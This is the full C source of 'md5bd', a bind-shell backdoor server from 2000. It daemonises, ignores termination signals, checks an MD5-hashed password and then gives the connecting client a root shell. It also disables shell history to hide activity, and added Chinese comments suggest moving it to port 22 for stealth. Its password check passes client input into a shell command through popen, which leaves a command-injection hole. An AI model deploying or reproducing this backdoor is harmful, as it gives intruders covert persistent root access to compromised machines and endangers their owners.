md5shell source
/*
md5bd.c - backdoor/shell server with md5 based authentication
(c) 2000 by Mixter <
mixter@newyorkoffice.com>
http://1337.tsx.org
This is a small server program that can be put on an untrusted host,
without the danger of the hard-coded password being retrieved. Another
big advantage of using md5 is that your password can be effectively as
long as you want... I'm using md5sum since every system should have it,
and since it's a stupid program and not worth of putting in md5 functions.
To hash your password to md5, just: echo -n mypasswd | md5sum (duh!)
Usage: ./md5bd, then ./nc host port, then enter your password
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <signal.h>
/* change this to 1337 if you want it to be *really* stealthy ;/ */
#define P0RT 1025 //记得将断口号修改为22
/* the default pass, "secret" */
#define MDPASS "5ebe2294ecd0e0f08eab7690d2a6ee69" //你可以用这个默认的密码.
/* the stupidity of perl, realized in C... */
#define MDPROG "/bin/echo -n %s|/usr/bin/md5sum"
char md[36];
char *
mdpass(char *plain)
{
FILE *p;
char fmt[1024];
snprintf(fmt, 1024, "/bin/echo -n %s|/usr/bin/md5sum", plain);
p = popen(fmt, "r");
memset(md, 0, 36);
fread(md, 32, 1, p);
fclose(p);
return md;
}
int
main(int a, char **b)
{
int c, d, e = sizeof(struct sockaddr_in), f;
char p[1000];
struct sockaddr_in l, r;
signal(SIGCHLD, SIG_IGN);
signal(SIGHUP, SIG_IGN);
signal(SIGTERM, SIG_IGN);
signal(SIGINT, SIG_IGN);
if (fork())
exit(0);
l.sin_family = AF_INET;
l.sin_port = htons(P0RT);
l.sin_addr.s_addr = INADDR_ANY;
bzero(&(l.sin_zero), 8);
c = socket(AF_INET, SOCK_STREAM, 0);
bind(c,(struct sockaddr *) &l, sizeof(struct sockaddr));
listen(c, 3);
while ((d = accept(c, (struct sockaddr *) &r, &e)))
{
if (!fork())
{
recv(d, p, 1000, 0);
#ifndef REMOTELY_EXPLOITABLE
for (f = 0; f < strlen(p); f++)
switch (p[f])
{
case '|':
case ';':
case '&':
case '>':
case '`':
case '\r':
case '\n':
p[f] = '\0';
break;
}
#endif /* REMOTELY_EXPLOITABLE :P */
if (strncmp(mdpass(p), MDPASS,32) != 0)
{
send(d, "\377\373\001", 4, 0);
close(d);
exit(1);
}
printf ("hi.\n");
close(0);
close(1);
close(2);
dup2(d, 0);
dup2(d, 1);
dup2(d, 2);
setreuid(0, 0);
setenv("PATH", "/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:.", 1);
unsetenv("HISTFILE");
execl("/bin/sh", "sh", (char *) 0);
close(d);
exit(0);
}
}
return 0;
}
